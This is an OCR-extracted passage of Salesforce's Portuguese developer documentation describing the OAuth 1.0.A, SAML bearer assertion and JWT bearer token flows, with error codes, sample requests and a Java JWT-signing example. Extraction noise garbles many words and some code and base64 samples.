1. Oconsumidor solicita uma ChaveDeSolicitacdo. O Salesforce verifica a solicitacéo e retorna uma Disponivel em: Salesforce
chave de solicitacdo. Classic e Lightning
) N . . Experience
2. O consumidor deve redirecionar o usuario ao Salesforce para que ele faca login. P
3. 0 Salesforce autoriza o usudrio. Disponivel em: todas as
edicoes
4. Depois que 0 usuario é autorizado, o consumidor solicita uma ChaveDeAcesso.
5. O Salesforce verifica a solicitacdo e concede a chave. PERMISSOES DO
6. Depois que a chave ¢ concedida, o consumidor acessa os dados por meio do aplicativo ou da USUARIO

API de servicos da Web do Force.com.

Para gerenciar, criar, editar
e excluir aplicativos OAuth:
As secbes a sequir fornecem mais detalhes sobre cada uma dessas etapas. e “Gerenciar aplicativos
conectados”

7. O Salesforce verifica a solicitacdo e concede 0 acesso aos dados.

o Dica: Para usarum aplicativo conectado com um sandbox, use test.salesforce.com
emvezde login.salesforce.com nassecdes a sequir.

Para obter a lista dos possiveis codigos de erro retornados pelo Salesforce, consulte Cédigos
de erro OAuth 1.0.A na pégina 202.

Solicitando uma ChaveDeSolicitacdo

Quando um consumidor faz uma solicitacdo inicial ao Salesforce, uma ChaveDeSolicitagdo é retornada, quando a solicitagdo é valida.
As seguintes etapas contém mais detalhes para o desenvolvedor que esta usando um aplicativo conectado para solicitar dados do
Salesforce.

1. Um aplicativo do consumidor deve acessar dados do Salesforce e envia uma solicitacao para
https://login.salesforce.com/ nc_external/system/security/oauth/RequestTokenHandler.
A solicitagdo contém o seguinte:

e Uma solicitacdo valida para uma ChaveDeSolicitacdo, que contém os seguintes parametros de OAuth.
- chave do_consumidor oauth
- método_de assinatura_ oauth — deve ser HMAC-SHAT.
- assinatura_ oauth
- data e hora oauth

- nonce_oauth
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- versdo oauth — opcional, deve ser “1.0" se incluido

- retorno oauth — deve ser uma das op¢oes a sequir:

e O URL hospedado pelo consumidor, por exemplo,
https://www.appirio.com/sfdc_accounts/access token ready.html.Observequeeste URL
usa https ou outro protocolo. Ndo é possivel utilizar http.

® oob, que significa fora de banda.

e Uma assinatura na pagina 200 criada de acordo com a especificacdo do OAuth para HMAC-SHAT.

2. Depois que Salesforce recebe a solicitacao, o Salesforce:
e Valida a solicitagdo com sua propria cépia do segredo do consumidor
e Gerauma resposta contendo ChaveDeSolicitacao e SegredoDaChaveDeSolicitagdo no corpo HTTP como pares nome/valor
e Envia aresposta de volta ao consumidor
Uma ChaveDeSolicitacdo é vélida somente por 15 minutos, mais trés minutos para permitir as diferencas entre os reldgios das

maquinas.

3. O consumidor direciona o usuério a uma pagina de login do Salesforce, conforme especificado na préxima seco.

Autorizando o usuario

Depois que a solicitacdo do consumidor € feita ao Salesforce, o usudrio deve ser autenticado pelo Salesforce antes de o processo continuar.
Veja a sequir as etapas mais detalhadas sobre o procedimento de login para desenvolvedores que estdo usando um aplicativo conectado
para solicitar dados do Salesforce.

1. O consumidor redireciona o usuario para o seguinte local, onde ele deve efetuar login:
https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp.Osparametros
de consulta GET apropriados sdo anexados a este URL.

® chave oauth - aChaveDeSolicitacao

® chave do consumidor oauth

@ Nota: Se um parametro retorno_oauth forincluido, ele serd ignorado.

2. A pdagina Autorizacdo de acesso remoto é exibida.
3. Se o usudrio aprovar o acesso para o consumidor, o Salesforce gerard a ChaveDeAcesso e o SegredoDaChaveDeAcesso.
Nota: O nimero de chaves de acesso simultaneas que pode ser concedido por um usuério a um aplicativo é limitado. O

padrdo é de cinco por aplicativo por usuario. Se essa autorizacao exceder o limite para sua organizacao, o usuario sera notificado
que sua autorizacao revoga automaticamente a(s) chave(s) desse aplicativo que ndo foi(ram) usada(s) pelo maior periodo.

4. 0O Salesforce verifica o URL de retorno (especificado nas paginas de definicdo do aplicativo conectado ou no pardmetro
oauth callback daetapa anterior). Uma das seguintes redire¢oes ocorrera.

e Seooauth callback definidonoRequestToken for oob e ocampo URL de retorno na pagina de definicdo do aplicativo
conectado tiver um valor valido, o usuario é redirecionado para o URL em questdo.

* Seo retorno_oauth definido na ChaveDeSolicitacdo for um URL vélido, o usudrio serd redirecionado a esse URL.

5. O consumidor é notificado de que a ChaveDeAcesso e o SegredoDaChaveDeAcesso estdo disponiveis recebendo o token de verificagdo
do Salesforce ou o codigo de validacdo do usudrio final.
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Solicitando a ChaveDeAcesso

Depois que o usuario tiver sido autenticado, o consumidor poderé trocar uma ChaveDeSolicitacdo por uma ChaveDeAcesso. Veja a
seguir mais etapas detalhadas sobre a troca de tokens para desenvolvedores que estao usando um aplicativo conectado para solicitar
dados do Salesforce.

1. O consumidor faz uma solicitacdo HTTPS GET ou POST para
https://login.salesforce.com/ nc external/system/security/oauth/AccessTokenHandler,
com 0s parametros necessarios nos dados de consulta ou postados.

® chave do consumidor oauth
® método de assinatura ocauth
® assinatura_oauth

® data e hora oauth

¢ chave oauth

® nonce_ oauth

® verificador oauth

® versdo_ oauth — opcional, deve ser “1.0" se incluido

2. 0O Salesforce valida os seguintes elementos.
e O segredo do consumidor
e A chave do consumidor
e Aassinatura
e Se a ChaveDeSolicitagdo nunca foi usado antes
e Data e hora (deve ser dentro de 15 minutos, mais trés minutos para permitir as diferencas entre os clocks das maquinas)

e Seononce nunca foi usado antes

3. Navalidacao, o Salesforce retorna a ChaveDeAcesso e o SegredodaChaveDeAcesso no corpo de resposta HTTP como pares de
nome/valor.

Gerando assinatura_oauth para Login

Vocé pode acessar o Salesforce utilizando a interface do usudrio ou a APl. A assinatura oauth usada paralogin é gerada de
forma diferente, dependendo do método usado.

e Interface do usudrio — use https://login.salesforce.com parageraraassinatura

e APl—use https://login.salesforce.com/services/OAuth/type/versdo-api parageraraassinatura.
type deve ter um dos seguintes valores.
- u — WSDL parceiro
- ¢ — WSDL corporativo

Porexemplo, https://login.salesforce.com/services/OAuth/u/17.0.

Acessando dados do Salesforce usando o aplicativo do consumidor

Depois que um consumidor passa a ter um AccessToken vélido, um aplicativo conectado para solicitar acesso a dados do Salesforce.
Veja a sequir etapas mais detalhadas sobre o acesso a dados para desenvolvedores que usam um aplicativo conectado para solicitar
dados do Salesforce.
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1. O consumidor faz uma solicitagao HTTPS POST para https://login.salesforce.com, COM 0s parametros requeridos no
cabecalho de autorizaco.

chave do_consumidor oauth

chave oauth

método _de assinatura oauth

assinatura_oauth

data e hora oauth

nonce_oauth

versdo_oauth (opcional, deve ser “1.0" se incluido)

2. O Salesforce valida a solicitacdo e envia um ID de sessao valido para o consumidor.

Acessando dados do Salesforce usando a API

Depois que um consumidor passa a ter um AccessToken vaélido, um aplicativo conectado pode solicitar o acesso a dados do Salesforce
usando a APl de servicos da Web da Force.com.

@ Nofa: A sua organizagdo deve ter acesso a APl e ao aplicativo conectado. Entre em contato com seu representante do Salesforce

para obter mais informacoes.

Veja a sequir etapas mais detalhadas sobre o0 acesso a dados para desenvolvedores que usam um aplicativo conectado para solicitar
dados do Salesforce.

1. O consumidor faz uma solicitacdo HTTPS POST ao Salesforce.

OURLdeveteroseguinteformato: https://login.salesforce.com/services/OAuth/type/api-version

type deve ter um dos seguintes valores.

u — WSDL parceiro
c — WSDL corporativo

api-version deve ser uma versdo valida da API.

O cabecalho de autorizagdo deve ter os seguintes parametros.

chave do consumidor oauth
chave oauth

método de assinatura oauth
assinatura_ oauth
data_e hora oauth
nonce_oauth

versdo_oauth (opcional, deve ser “1.0" se incluido)

2. O Salesforce valida a solicitacdo e envia um ID de sessé&o vélido para o consumidor. O cabecalho de resposta inclui o seguinte.

<response>

<metadataServerUrl>https://nal.salesforce.com/services/Soap/m/17.0/00D300000006gjK
</metadataServerUrl>

<sandbox>false</sandbox>
<serverUrl>https://nal.salesforce.com/services/Soap/u/17.0/00D300000006gJK
</serverUrl>
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<sessionId>00D300000006grN!AQoAQITMzwTa67tGgQcklng xgMSUWVBpFwZ1xUq2kLjMYg6Zg
GTS8Ezu_ C3wOpdT1DMyHiJgB6fbhhEPxKjGglYnlROIUsl</sessionId>

</response>

CONSULTE TAMBEM:

Autenticando aplicativos com o OAuth

Codigos de erro OAuth 1.0.A

0O Salesforce retorna os seguintes codigos de erro durante o Fluxo de autenticagdo OAuth 1.0.A. O codigo de erro retornado baseia-se

no erro recebido.

Codigo de Erro

falha

1701 Falha: Reproducdo de Nonce detectada

1702 Falha: Parametro chave do consumidor ausente
1703 Falha: Chave de acesso invalida

1704 Falha: Verséo sem suporte

1705 Falha: Data e hora invadlidas

1706 Falha: Nonce invélido

1707 Falha: Parametro da chave de OAuth ausente
1708 Falha: Endereco de IP nao permitido

1709 Falha: Método de assinatura invalido

1710 Falha: URL de retorno invalido

1711 Falha: Verificador invélido

1712 Falha: Limite da chave Adiquirir acesso excedido
1713 Falha: Consumidor excluido

1716 Falha: Acesso da APl do OAuth desativado

Notas

Um Nonce pode ser usado somente uma vez.

Vocé deve especificar 1.0 para o parametro
versdao_oauth.

Data e hora é uma das opgdes a seguir: ausente, no futuro,
muito antigo ou com defeito.

O Nonce estd ausente.

A ChaveDeSolicitacado contém um parametro
método de assinatura oauth invdlido.

A ChaveDeSolicitacao contém um parametro
retorno_oauth invélido. O valor deve ser oob ou
um URL vélido que usa https.

A ChaveDeAcesso contém um parametro
verificador oauth invélido.

E permitido tentar trocar uma ChaveDeSolicitacdo por uma
ChaveDeAcesso somente trés vezes.

O aplicativo de acesso remoto foi excluido da organizacéo
do Salesforce.

A API de servicos da web do Force.com ndo esté ativada
para a organizacdo ou o acesso da APl do OAuth foi
desativado para a organizacao.
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Fluxo de declaracdes portadoras SAML de OAuth 2.0

Uma declaragao SAML é um token de seguranca XML, geralmente emitido por um provedor de EDlCC)ES
identidade e consumida por um provedor de servico que depende de seu conteldo para identificar
0 sujeito da declaracdo para fins de seguranca.

Disponivel em: Salesforce
Um fluxo de declaracdo portadora SAML de OAuth 2.0 define como uma declaracado SAML pode Classic

ser usada para solicitar um token de acesso OAuth quando um cliente desejar usar uma autorizagdo
anterior. A autenticacdo do aplicativo autorizado é fornecida pela assinatura digital aplicada a
declaragdo SAML.

Disponivel em: todas as
edicoes

Uma explicacdo mais detalhada pode ser encontrada aqui:

PERMISSOES DO
http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer

USUARIO

Visdo geral de fluxo de asser¢des portadoras SAML de OAuth 2.0 Para gerenciar, criar, edifar

i ) o e excluir aplicativos OAuth:
O fluxo de declaragéo portadora SAML de OAuth 2.0 é semelhante a um fluxo de token de atualizagao « “Gerenciar aplicativos

no OAuth. A declaracao SAML é enviada por POST para o ponto final da chave do OAuth, que, por conectados”
sua vez, processa a declaracdo e emite um access_token com base na aprovacdo anterior do

aplicativo. No entanto, o cliente ndo precisa ter ou armazenar um refresh token, nem é

necessario que um client secret seja passado para o ponto final do token.

A sequir estdo as etapas gerais do uso do fluxo de declaracdo portadora SAML do OAuth 2.0:

1. O desenvolvedor cria um aplicativo conectado e registra um Certificado X509. Esse certificado corresponde a chave privada do
aplicativo. Quando o aplicativo conectado é salvo, a Chave do consumidor (client id do OAuth)é gerada e atribuida
ao aplicativo.

2. Odesenvolvedor cria um aplicativo que gera uma declaracdo SAML e o assina com sua chave privada.

3. Adeclaragdo é enviada por POST ao ponto final da chave
https://login.salesforce.com/services/oauth2/token.

4. O ponto final do token valida a assinatura usando o certificado registrado pelo desenvolvedor.
5. O ponto final do token valida o Pblico, Emissor, Sujeito e a validade da declaracao.
6. Supondo que a declaracéo seja valida e que o aplicativo tenha sido autorizado anteriormente pelo usudrio ou administrador, o

Salesforce emite um access_token.

@ Nota: Um refresh token ndo éemitido nesse fluxo.

Criando uma declaragdo portadora SAML

O desenvolvedor deve criar uma declaracdo portadora SAML vélida que cumpra as sequintes regras:

e OEmissor devesero client id doOAuth ou o aplicativo conectado para o qual o desenvolvedor registrou o certificado.
e O Puablico deveser https://login.salesforce.comoOU https://test.salesforce.com.

e O Destinatéario deveser https://login.salesforce.com/services/oauth2/token ou
https://test.salesforce.com/services/oauth2/token.

e O ID do nome do sujeito deveseronome de usudrio do usudrio do Salesforce desejado.
e Adeclaracao deverd ser assinada de acordo com as especificacdes de assinatura XML, usando RSA e SHA-1 ou SHA-256.

e Adeclaracado SAML deve estar de acordo com as regras gerais de formato especificadas aqui:
http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer


http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer
http://www.w3.org/TR/xmldsig-core/
http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer
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e Quando realizado o POST para o ponto final do token, a declaragdo deve ser codificada usando base64url, como definido aqui:
http://tools.ietf.org/html/rfcd648#page-7

A sequir estd uma declaracao de amostra:

<?xml version="1.0" encoding="UTF-8"7?>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID=" cd364903639560458bc9d9b33dfeeB8d21378409114655" IssueInstant="2013-09-05T19:25:14.6542"
Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML: 2. 0:assertion">3MVGIPhR6G6B7ps45Q0RVhVGAMTR DT4kxXzVXOo6TTHE3001nmgOAstCo2
49gSUiUeEDcuGV4tmAxyo fV8j</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.0rg/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.0rg/2001/10/xml-exc-cl4n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.0rg/2001/04/xmldsig-morefrsa-sha256"/>
<ds:Reference URI="#_ cd3649b3639560458bc9d9%33dfee8d21378409114655">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.0rg/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform
Algorithm="http://www.w3.0rg/2001/10/xml-exc-cl4n#"><ec:InclusiveNamespaces
xmlns:ec="http://www.w3.0rg/2001/10/xml-exc-cl4n#" PrefixList="ds saml"/>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.0rg/2000/09/xmldsig#shal"/>
<ds:DigestValue>N8DxylbIeNg8JDO87TWIgXGkoIWA=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>
XV01FJrkhJykGYQbIsOJBFEHdt4pe2gBgitcXrscNVX2hKGpwQ+WgjF8EKrqV4Q3/Q4KglrX1l/6s
xJr6WOmxWt IQC4oWhSvVyfag34zQoecZeunEdFSMInvPtgBVzJu9hJjy/QDgDWEMeWvF9S50Azd0
EhJxz/Lyli2804aCXQQ=
</ds:SignaturevValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>
MIICOzCCAaSgAwWIBAgIGAR7RRteKMAOGCSgGSIb3DQEBBQUAMGEXCZzAJBgNVBAYTAIVTMQOswCQYD
VOQIEWJIDQTEWMBQGAIUEBXMNUZ2FUIEZyYW5])aXNjbzENMASGA1UEChMEUEFDUZENMASGA1UECXME
UOZEQzEPMAOGA1UEAXMGUOFNTDIWMB4XDTASMDExXMzE4AMzUyN1oXDTEOMDEXMTE4MzUyN1owYTEL
MAkGA1UEBhMCVVMxCzAJBgNVBAGTAKNBMRYWFAYDVQQOHEW1TYW4gRNJIhbmNpc2NvMQOwCwYDVQQK
EWRQQUNTMQOwCwYDVQQLEWRTRkRDMQ8wDQYDVQQODEWZTQUIMMIAwgZ8wDQYJKoZ IThveNAQEBBQAD
gYOAMIGJAOGBAJINGcu8nW6xg2l/dAgbIJmSfHLGRN+vCUuKWY+LAELw+Kerjaj5Dg3ZGW38HR4BmZk
sG3g4eAlRXn1hiZGI1Q6Ei159QE/02Q0%x22zVSTb7+0IwRCcDHEBL1+RraYT3LJuh4JwUDVEE]3WgDnT]j
E5vD461/CR5EXf4VL8Uu08T40FKkAS1AhTAGMBAAEWDQYJK0ZIThveNAQEFBQADgYEAehxggY6tB18x
1SSvCUyUIHvxssAnl1AutgZLKWuR1+FXfJzdVAE2F77nrVIYifIERUWhONiS82mBOkKgZZPL1hcKh
KSnFZN2iWmmlsspL73I/eAwVsOUj+bS3vIPO04ceAD/QCCY8gUAINTHOMleOdIMhYKnw/blUyqg]
Zn9rajY=
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1l:nameid-format:unspecified"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">testl@example.org</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"


http://tools.ietf.org/html/rfc4648#page-7
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xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">

<saml:SubjectConfirmationData NotOnOrAfter="2013-09-05T19:30:14.6542"
Recipient="https://login.salesforce.com/services/oauth2/token"/>

</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2013-09-05T19:25:14.654Z" NotOnOrAfter="2013-09-05T19:30:14.654z2"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Audience>https://login.salesforce.com/services/oauth2/token</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement AuthnInstant="2013-09-05T19:25:14.6552"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">

<saml:AuthnContext xmlns:saml="urn:ocasis:names:tc:SAML:2.0:assertion">

<saml :AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml : AuthnContextClassRef>

</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>

Usando declaragdes portadoras de SAML

As declaragdes portadoras SAML devem ser enviadas por POST para o ponto final do token em
https://login.salesforce.com/services/oauth2/token ou
https://test.salesforce.com/services/oauth2/token.

No comando POST, os seguintes parametros devem ser fornecidos:
®* grant type:urn:ietf:params:oauth:grant-type:saml2-bearer — Obrigatdrio.

e declaracao: Adeclaracdo portadora SAML, codificada usando base64url conforme definido aqui:
http://tools.ietf.org/html/rfcd648#page-7— Obrigatério.

Parametros padrao adicionais:

e format: O formato da resposta pode ser especificado como em um fluxo OAuth, usando o pardmetro token, ou um cabegalho
HTTP Accepts.

e scope: 0 escopo ndo é suportado neste fluxo. O valor desse parametro é a combinacao de escopos das aprovagdes anteriores.

Veja aqui um exemplo da solicitagdo de token:

POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
Content-Type: application/x-www-form-urlencoded

grant type=
urn$3Aietf%$3Aparams$3Acauth%$3Agrant-types3Asaml2-bearer&assertion=PHNhbWxwOl. .. [omitted
for brevity]...ZT

Servidor envia uma resposta

Apos a verificagdo da solicitagdo, o Salesforce envia uma resposta para o cliente. As respostas de token do fluxo de declaragdo portadora
SAML do OAuth 2.0 seguem o mesmo formato que os fluxos authorization code, embora ndo seja emitido um
refresh token.
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@ Nota: Uma solicitacdo de declaracdo portadora SAML do OAuth 2.0 examina todas as aprovacgdes anteriores do usuério que
incluem o refresh token. Se forem encontradas aprovagdes correspondentes, os valores dos escopos aprovados serao
combinados e um access_token éemitido (com umvalorde "token type" “Portador").Senenhuma aprovacdo
anterior incluiu um refresh _token, nenhum escopo aprovado esta disponivel e a solicitacdo falha como ndo autorizada.

Erros

Se houver um erro no processamento da declaracdo portadora SAML, o servidor respondera com uma resposta de erro padrao do OAuth,
incluindo um erro e uma descri¢do contendo informagdes adicionais sobre os motivos pelos quais o token foi considerado invélido. Veja
aqui um exemplo de resposta de erro:

HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store

{
"error":"invalid grant",
"error description":"Audience validation failed"

CONSULTE TAMBEM:

Autenticando aplicativos com o OAuth

Fluxo de token portador JWT de OAuth 2.0

O token portador JSON (JWT) é uma codificagdo de token de seguranca baseado em JSON que EDIC()ES
permite que as informacoes de identidade e seguranca sejam compartilhadas em todos os dominios
de seguranca.

Disponivel em: Salesforce
O fluxo de token portador JWT de OAuth 2.0 define como um JWT pode ser usado para solicitar Classic
um token de acesso OAuth do Salesforce quando um cliente deseja usar uma autorizagdo anterior.

. . ) , i ) o ) Disponivel em: todas as
A autenticacdo do aplicativo autorizado é fornecida por uma assinatura digital aplicada ao JWT.

edicoes
Explicagdes mais detalhadas sobre o JWT e o fluxo de token portador JWT para OAuth podem ser
encontradas em:

PERMISSOES DO

® http://tools.ietf.org/html/draft-ietf-ocauth-jwt-bearer USUARIO

® http://tools.ietf.org/html/draft-jones-json-web-token
Para gerenciar, criar, editar

e excluir aplicativos OAuth:
Visdo geral do fluxo de token portador JWT de OAuth 2.0 * “Gerenciar aplicativos

O fluxo de token portador JWT de OAuth 2.0 é semelhante a um fluxo de token de atualizagcdo no conectados

OAuth. O JWT é enviado por POST para ponto final do token do OAuth, que, por sua vez, processa

0 JWT e emite um access_token com base na aprovacdo anterior do aplicativo. No entanto,

o cliente ndo precisa ter ou armazenar um refresh token, nem € necessario que um client secret seja passado parao
ponto final do token.

O fluxo de portador JWT suporta o algoritmo RSA SHA256, que usa um certificado carregado como segredo de assinatura.
O fluxo de token portador JWT do OAuth 2.0 envolve as seguintes etapas gerais:

1. Odesenvolvedor cria um aplicativo novo ou usa aplicativo conectado e, se desejar, pode registrar um certificado X509. Esse certificado
corresponde a chave privada do aplicativo. Quando o aplicativo conectado € salvo, a Chave do consumidor (cLient iddo OAuth)
e 0 Segredo do consumidor sdo gerados e atribuidos ao novo aplicativo.


http://tools.ietf.org/html/draft-ietf-oauth-jwt-bearer
http://tools.ietf.org/html/draft-jones-json-web-token
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O JWT é enviado por POST ao ponto final do token https://login.salesforce.com/services/oauth2/token,
ou, seimplementado paraumacomunidade, https://acme. force.com/customers/services/oauth2/token

(emque acme. force.com/customers é o URL da comunidade).
O ponto final da chave valida a assinatura usando o certificado registrado pelo desenvolvedor.

O ponto final do token valida o publico (aud), o emissor (i ss), a validade (exp) e 0 assunto (sub) do JWT.

Supondo que o JWT seja valido e que o aplicativo tenha sido autorizado anteriormente pelo usuario ou administrador, o Salesforce

emite um access_token

@ Nota: Um refresh token ndo é emitido nesse fluxo.

Criando um token portador JWT

O desenvolvedor deve criar uma chave portadora JWT valida que cumpra RSA SHA256 de acordo com as seguintes regras:

Oemissor (iss)devesero client id doOAuthou o aplicativo conectado para o qual o desenvolvedor registrou o certificado.

Opublico (aud) deveser https://login.salesforce.com https://test.salesforce.com ou,aoimplantar
para uma comunidade, https://acme. force.com/customers (emque acme. force.com/customers é0URL

da comunidade).

Oassunto (sub) deve ser o nome de usudrio do usudrio do Salesforce desejado ou, ao implementar para uma comunidade, o usuario
da comunidade do Salesforce. Para compatibilidade com versdes anteriores, vocé pode usar o principal (prn) em vez de assunto

(sub). Se ambos forem especificados, 0 prn serd usado.

Avalidade (exp) deve ser o tempo de validade da assertiva, com margem de cinco minutos, expresso como o nimero de segundos

desde 01/01/1970 0:0:0 medido em UTC.
O JWT deve ser assinado usando RSA SHA256.

O JWT deve estar de acordo com as regras gerais de formato especificadas aqui:
http://tools.ietf.org/html/draft-jones-json-web-token.

Para construir um token portador JWT, faca o sequinte:

1.
2.

4,

Construa um cabecalho JWT no seguinte formato: {"alg":"RS256"}.

Codifique o cabecalho JWT de acordo com Base64url como definido em:
http://tools.ietf.org/html/rfc4648#page-7.0 resultado deve ficar parecido com o seguinte:
eyJhbGci0iJSUzI1INiJ9

Construa um conjunto de afirmagdes de JSON para 0 JWT com iss, sub, aud e exp:

{"iss": "3MVGO90xTyEMCQ3gNp2PjkgeZKxnmAiGlxV4oHhOAKL rSK.BoSVPGZHQ
ukXnVjzRgSuQgGn75NL7yfkQcyy7",

"sub": "my@email.com",

"aud": "https://login.salesforce.com",

"exp": "1333685628"}

Codifique o conjunto de afirmagdes JWT para Base64url sem quebras de linha. Por exemplo:

eyJpc3MiOiAiIMO1WRzk5T3hUeUVNQIEZzZ05wM1Bga3F1Wkt4bm1BaUcxeFY0b0OhoOUFLTEFOyUOsu
OmI9TVIBHWKkhRAWtYb1lZgelInU3VRcUduNzVOTDA5ZmtRY315NyIsICIwcm4i0iAibX1AZWlhaWwu
Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ21uLnNhbGVzZmOyY2UuY29tIiwgImV4cCI6ICIxXMzMz
NjglNjI4InO=


http://tools.ietf.org/html/draft-jones-json-web-token
http://tools.ietf.org/html/rfc4648#page-7
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Crie uma string para o cabecalho JWT codificado e para o conjunto de afirmacées JWT codificado, neste formato:

encoded JWT Header + "." + encoded JWT Claims_ Set
No exemplo a sequir, o cabecalho JWT estd destacado:

eyJhbGciOiJSUzIINiJ9. eyJpc3MiOiAIMO1WRZzk5T3hUeUVNQLEZZ05wM1Bga3F1iwkt4bmlBaUcxeFY0b0hoOUFLTF9yUOsu
OmI9TVIBHWKkhRAWtYblZgelInU3VRcUduNzVOTDA5ZmtRY315NyIsICIwcm4i0iAibX1AZWlhaWwu
Y29tIiwgImF1ZCI6ICJodHRwCczovL2xvZ21uLnNhbGVzZm9yY2UuY29tIiwgImV4cCI6ICIxMzMz
NjglNjI4InO=

Assine a string resultante usando SHA256 com RSA.

Crie uma nova string a partir da string desta etapa no seguinte formato:
existing string + "." + base64 encoded signature
No exemplo a sequir, o inicio da assinatura codificada em base64 esta destacado:

eyJhbGciOiJSUzIIN1J9. eyJpc3MiOiAIMO1IWRzk5T3hUeUVNQ1EZZ05wM1 Bga3F 1wkt 4bmlBaUcxeFY0b0OhoOUFLTE9yUOsu
OmITVIBHWKkhRAWtYb1lZgelInU3VRcUduNzVOTDA5ZmtRY315NyIsICIwcm4i0iAibX1AZWlhaWwu
Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ21uLnNhbGVzZmOyY2UuY29tIiwgImV4cCI6ICIxMzMz
NjglNjI4In0=.iYCthgWCQucwi35yFs-nWNgpF5NA a46fXDTNIY8ACko6BaEtQIE6h4HN11l pcwcK

I GlmfUO2dJDglA610t09TeoPagisZDm H83bsoZUoI8LpAAls-2aj Wbysgblj4uDToz
480WtEbkwIv09sIeS -QuWak2RXO1l1Krnf72mpVGS4WWSULodgNzlKHHyJAMAHiIBHIDNt
36y2L2Bh7M8TNWiKa BNM6s1FNKDAWHEWQrNtAeReXgRyOMZgQY2rZtgT2FcDy)Y3JVOb

En CSjH2WV7Z1UwsKHQGfI7hzeEvVAfOjHINuaJozxvhPF489IgWocntPuT2V647JWi7ng

O codigo Java a seguir é um exemplo simples da construcao de um token portador JWT:

import org.apache.commons.codec.binary.Base64;

import java.io.*;

import java.security.*;

import java.text.MessageFormat;

public class JWTExample {

public static void main(String[] args) {

String header = "{\"alg\":\"RS256\"}";
String claimTemplate = "'"{"\"iss\": \"{0}\", \"sub\": \"{1}\", \"aud\": \"{2}\",

\"exp\": \n{3}\nl}ln;

try {
StringBuffer token = new StringBuffer();

//Encode the JWT Header and add it to our string to sign
token.append (Base64.encodeBase64URLSafeString (header.getBytes ("UTEF-8"))) ;

//Separate with a period
token.append (".");

//Create the JWT Claims Object
String[] claimArray = new String([4];
claimArray[0] =

"3MVG990xTyEMCO3gNp2Pj kqeZKxnmAiG1xV4oHh9AKL, rSK.BoSVPGZHQuUkXnV]zRgSuQgGn7SNL7yfkQcyyT" ;

claimArray[l] = "my@email.com";
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claimArray[2] = "https://login.salesforce.com";

claimArray[3] = Long.toString( ( System.currentTimeMillis()/1000 ) + 300);
MessageFormat claims;

claims = new MessageFormat (claimTemplate) ;

String payload = claims.format (claimArray);

//Add the encoded claims object
token.append (Base64.encodeBase64URLSafeString (payload.getBytes ("UTF-8"))) ;

//Load the private key from a keystore

KeyStore keystore = KeyStore.getInstance ("JKS");

keystore.load (new FileInputStream("./path/to/keystore.jks"),
"keystorepassword".toCharArray());

PrivateKey privateKey = (PrivateKey) keystore.getKey("certalias",
"privatekeypassword".toCharArray()) ;

//Sign the JWT Header + "." + JWT Claims Object

Signature signature = Signature.getInstance ("SHA256withRSA");
signature.initSign (privateKey) ;

signature.update (token.toString () .getBytes ("UTF-8")) ;

String signedPayload = Base64.encodeBase64URLSafeString(signature.sign());

//Separate with a period
token.append (".");

//Add the encoded signature
token.append (signedPayload) ;

System.out.println(token.toString()):;

} catch (Exception e) {
e.printStackTrace () ;

Usando um token portador JWT

Tokens de portador JWT devem ser enviados por POST ao ponto final do token em
https://login.salesforce.com/services/oauth2/token,
https://test.salesforce.com/services/oauth2/token ou, aoimplantar para uma comunidade,
https://acme.force.com/customers/services/oauth2/token (emque acme. force.com/customers
é 0 URL da comunidade).

No comando POST, os seguintes parametros sao obrigatérios:

® grant type:urn:ietf:params:oauth:grant-type:jwt-bearer
e declaracao: O token portador JWT.

Parametros padrdo adicionais:

e format:O formato da resposta pode ser especificado como em um fluxo OAuth, usando o pardmetro token, ou um cabecalho
HTTP Accepts.

e scope: 0 escopo ndo é suportado neste fluxo. O valor desse parametro é a combinacéo de escopos das aprovagbes anteriores.
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Veja aqui um exemplo da solicitagdo de token:

POST /services/oauth2/token HTTP/1.1
Host: login.example.com
Content-Type: application/x-www-form-urlencoded

grant type=
urn%3Aietf$3Aparams$3Acauth%3Agrant-type%3Ajwt-bearer&assertion=eyJpc3MiOiAiMO1WRz. .. [omitted
for brevityl]...ZT

Servidor valida o token

Apos a verificacdo da solicitacdo, o Salesforce envia uma resposta para o cliente. As respostas de token do fluxo de token portador JWT
do OAuth 2.0 sequem o mesmo formato que os fluxos authorization code, emborando sejaemitidoum refresh token.
Uma solicitacao de declaracdo portadora JWT do OAuth 2.0 examina todas as aprovacdes anteriores do usuario que incluam o
refresh token. Se forem encontradas aprovagdes correspondentes, os valores dos escopos aprovados serdo combinados e um
